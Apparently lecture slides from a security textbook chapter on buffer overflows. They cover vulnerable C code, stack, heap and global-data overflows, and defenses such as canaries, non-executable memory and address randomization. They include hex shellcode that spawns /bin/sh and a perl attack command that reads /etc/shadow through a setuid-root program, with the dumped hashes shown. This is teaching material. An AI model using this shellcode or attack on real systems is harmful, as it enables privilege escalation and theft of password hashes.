CH 11
CH 11
CH 11
First Edition
by William Stallings and Lawrie Brown
next _tag(str1);
gets(str2);
if ( strncmp(str1, str2, 8) == 0)
valid = TRUE;
printf("buffer1: str1(%s), str2(%s),
valid(%d)\n", st r1, str2, valid);
}
$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE),
str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
Buffer Overflow Example
Memory Before After Contains
Address gets(str2) gets(str2) Value of
. . . . . . . . . . . .
. . . . . . . . . . . .
Buffer Overflow Attacks
to exploit a buffer overflow an attacker
must identify a buffer overflow vulnerability in
some program
• inspection, tracing execution, fuzzing tools
understand how buffer is stored in memory
and determine potential for corruption
A Little Programming
Language History
at machine level all data an array of bytes
interpretation depends on instructions used
modern high-level languages have a strong
notion of type and valid operations
not vulnerable to buffer overflows
does incur overhead, some limits on use
C and related languages have high-level control
structures, but allow direct access to memory
hence are vulnerable to buffer overflow
have a large legacy of widely used, unsafe, and
hence vulnerable code
Function Calls and Stack Frames
Stack Buffer Overflow
occurs when buffer is located on stack
used by Morris Worm
“Smashing the Stack” paper popularized it
have local variables below saved frame
pointer and return address
hence overflow of a local buffer can
potentially overwrite these key control items
attacker overwrites return address with
address of desired code
program, system library or loaded in buffer
Programs and Processes
Stack Overflow Example
void hello(char *tag)
{
char inp[16];
$ cc -g -o buffer2 buffer2.c
$ ./buffer2
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done
$ ./buffer2
Enter value for name:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)
. . . . . . . . . . . .
. . . . . . . . . . . .
Another Stack Overflow
void getinp(char *inp, int siz)
{
puts("Input value: ");
fgets(inp, siz, stdin);
printf("buffer3 getinp read %s\n", inp);
}
90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20
Example Stack Overflow Attack
$ dir -l buffer4
-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4
$ whoami
knoppix
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ cat attack1
perl -e 'print pack("H*",
"90909090909090909090909090909090
" .
"90909090909090909090909090909090
" .
"9090eb1a5e31c08846078d1e895e0889
" .
"460cb00b89f38d4e088d560ccd80e8e1
" .
"ffffff2f62696e2f7368202020202020" .
"202020202020202038fcffbfc0fbffbf0a");
print "whoami\n";
print "cat /etc/shadow\n";'
$ attack1 | buffer4
Enter value for name: Hello your yyy)DA0Apy is
e?^1AFF.../bin/sh...
root
root:$1$rNLId4rX$nka7JlxH7.4UJT4l9JRLk1:13346:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$FvZSBKBu$EdSFvuuJdKaCH8Y0IdnAv/:13346:0:99999:7:::
...
More Stack Overflow Variants
target program can be:
a trusted system utility
network service daemon
commonly used library code, e.g. image
shellcode functions
spawn shell
create listener to launch shell on connect
create reverse connection to attacker
flush firewall rules
break out of choot environment
Buffer Overflow Defenses
buffer overflows are widely exploited
large amount of vulnerable code in use
despite cause and countermeasures known
two broad defense approaches
compile-time - harden new programs
run-time - handle attacks on existing programs
Compile-Time Defenses:
Programming Language
use a modern high-level languages with
strong typing
not vulnerable to buffer overflow
compiler enforces range checks and
permissible operations on variables
do have cost in resource use
and restrictions on access to hardware
so still need some code inC like languagesl
Compile-Time Defenses:
Safe Coding Techniques
if using potentially unsafe languages eg C
programmer must explicitly write safe code
by design with new code
after code review of existing code, cf OpenBSD
buffer overflow safety a subset of general
safe coding techniques (Ch 12)
allow for graceful failure
checking have sufficient space in any buffer
Compile-Time Defenses:
Language Extension,
Safe Libraries
have proposals for safety extensions to C
performance penalties
must compile programs with special compiler
have several safer standard library variants
new functions, e.g. strlcpy()
safer re-implementation of standard functions
as a dynamic library, e.g. Libsafe
Compile-Time Defenses:
Stack Protection
add function entry and exit code to check stack
for signs of corruption
use random canary
e.g. Stackguard, Win /GS
check for overwrite between local variables and saved
frame pointer and return address
abort program if change found
issues: recompilation, debugger support
or save/check safe copy of return address
e.g. Stackshield, RAD
Run-Time Defenses:
Non Executable Address Space
use virtual memory support to make some
regions of memory non-executable
e.g. stack, heap, global data
need h/w support in MMU
long existed on SPARC / Solaris systems
recent on x86 Linux/Unix/Windows systems
issues: support for executable stack code
need special provisions
Run-Time Defenses:
Address Space Randomization
manipulate location of key data structures
stack, heap, global data
using random shift for each process
have large address range on modern systems
means wasting some has negligible impact
also randomize location of heap buffers
and location of standard library functions
Run-Time Defenses:
Guard Pages
place guard pages between critical regions
of memory
flagged in MMU as illegal addresses
any access aborts process
can even place between stack frames and
heap buffers
at execution time and space cost
Other Overflow Attacks
have a range of other attack variants
stack overflow variants
heap overflow
global data overflow
format string overflow
integer overflow
more likely to be discovered in future
some cannot be prevented except by
coding to prevent originally
Replacement Stack Frame
stack overflow variant just rewrites buffer
and saved frame pointer
so return occurs but to dummy frame
return of calling function controlled by attacker
used when have limited buffer overflow
e.g. off by one
limitations
must know exact address of buffer
calling function executes with dummy frame
Return to System Call
stack overflow variant replaces return
address with standard library function
response to non-executable stack defences
attacker constructs suitable parameters on
stack above return address
function returns and library function executes
• e.g. system(“shell commands”)
attacker may need exact buffer address
can even chain two library calls
Heap Overflow
also attack buffer located in heap
typically located above program code
memory requested by programs to use in
dynamic data structures, e.g. linked lists
no return address
hence no easy transfer of control
may have function pointers can exploit
or manipulate management data structures
defenses: non executable or random heap
Heap Overflow Example
/* record type to allocate on heap */
typedef struct chunk {
char inp[64]; /* vulnerable input buffer */
void (*process)(char *); /* pointer to function */
} chunk_t;
void showlen(char *buf) {
int len; len = strlen(buf);
printf("buffer5 read %d chars\n",len);
}
$ attack2 | buffer5
Enter value:
root
root:$1$4oInmych$T3BVS2E3OyNRGjGUzF4o3/:13347:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$p2wziIML$/yVHPQuw5kvlUFJs3b9aj/:13347:0:99999:7:::
...
Global Data Overflow
can attack buffer located in global data
may be located above program code
if has function pointer and vulnerable buffer
or adjacent process management tables
aim to overwrite function pointer later called
defenses: non executable or random
global data region, move function pointers,
guard pages
Global Data Overflow Example
/* global static data - targeted for attack */
struct chunk {
char inp[64]; /* input buffer */
void (*process)(char *); /* ptr to function */
} chunk;